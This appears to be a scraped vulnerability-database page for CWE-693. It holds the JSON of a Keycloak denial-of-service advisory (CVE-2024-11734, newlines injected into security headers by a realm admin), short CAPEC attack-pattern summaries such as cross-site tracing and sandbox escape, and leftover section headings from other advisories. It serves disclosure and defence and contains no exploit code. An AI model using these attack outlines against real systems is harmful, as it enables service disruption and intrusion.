  "published": "2025-12-16T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65318"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/14wrTzvcLPfFsWmy-SAtDwwZKKPssBsx5/view"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bbaboha/CVE-2025-65318-and-CVE-2025-65319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nickvourd/RTI-Toolkit"
    },
    {
      "type": "WEB",
      "url": "http://canary.com"
    },
    {
      "type": "WEB",
      "url": "http://canarymail.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3G8-R9GW-QRH8

Vulnerability from github – Published: 2025-01-13 16:58 – Updated: 2025-01-14 16:38

Summary

Denial of Service in Keycloak Server via Security Headers

Details

A potential Denial of Service (DoS) vulnerability has been identified in Keycloak, which could allow an administrative user with the rights to change realm settings to disrupt the service. This is done by modifying any of the security headers and inserting newlines, which causes the Keycloak server to write to a request that is already terminated, leading to a failure of said request.

Service disruption may happen, users will be unable to access applications relying on Keycloak, or any of the consoles provided by Keycloak itself on the affected realm.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-quarkus-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-11734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-13T16:58:23Z",
    "nvd_published_at": "2025-01-14T09:15:19Z",
    "severity": "MODERATE"
  },
  "details": "A potential Denial of Service (DoS) vulnerability has been identified in Keycloak, which could allow an administrative user with the rights to change realm settings to disrupt the service. This is done by modifying any of the security headers and inserting newlines, which causes the Keycloak server to write to a request that is already terminated, leading to a failure of said request.\n\nService disruption may happen, users will be unable to access applications relying on Keycloak, or any of the consoles provided by Keycloak itself on the affected realm.",
  "id": "GHSA-w3g8-r9gw-qrh8",
  "modified": "2025-01-14T16:38:57Z",
  "published": "2025-01-13T16:58:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-w3g8-r9gw-qrh8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/93b2a7327b2557eb132a8169086c5e63c81dff79"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:0299"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:0300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-11734"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2328846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in Keycloak Server via Security Headers"
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.

← Back to the CWE list

CWE-693

Protection Mechanism Failure

Summary

Technical Details

Why This Is Not Intended Behavior

PoV

PoC

Impact

Severity

Suggested Fix

Affected Package/Versions

Version Sweep

Advisory History

Summary

Details

Impact

Solution

Summary

Severity

Affected Versions

Details

How It Works

Decompiled Pickle (what the data actually does)

Confirmed Bypass Targets

Proof of Concept

Why pkgutil Is Not Blocked

Impact

Suggested Fix

Impact

Affected version

Root cause

Local PoC

Preconditions

Severity

Suggested fix

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-107: Cross Site Tracing

CAPEC-127: Directory Indexing

CAPEC-17: Using Malicious Files

CAPEC-20: Encryption Brute Forcing

CAPEC-22: Exploiting Trust in Client

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

CAPEC-36: Using Unpublished Interfaces or Functionality

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

CAPEC-480: Escaping Virtualization

CAPEC-51: Poison Web Service Registry

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-59: Session Credential Falsification through Prediction

CAPEC-65: Sniff Application Code

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

CAPEC-74: Manipulating State

CAPEC-87: Forceful Browsing

Why `pkgutil` Is Not Blocked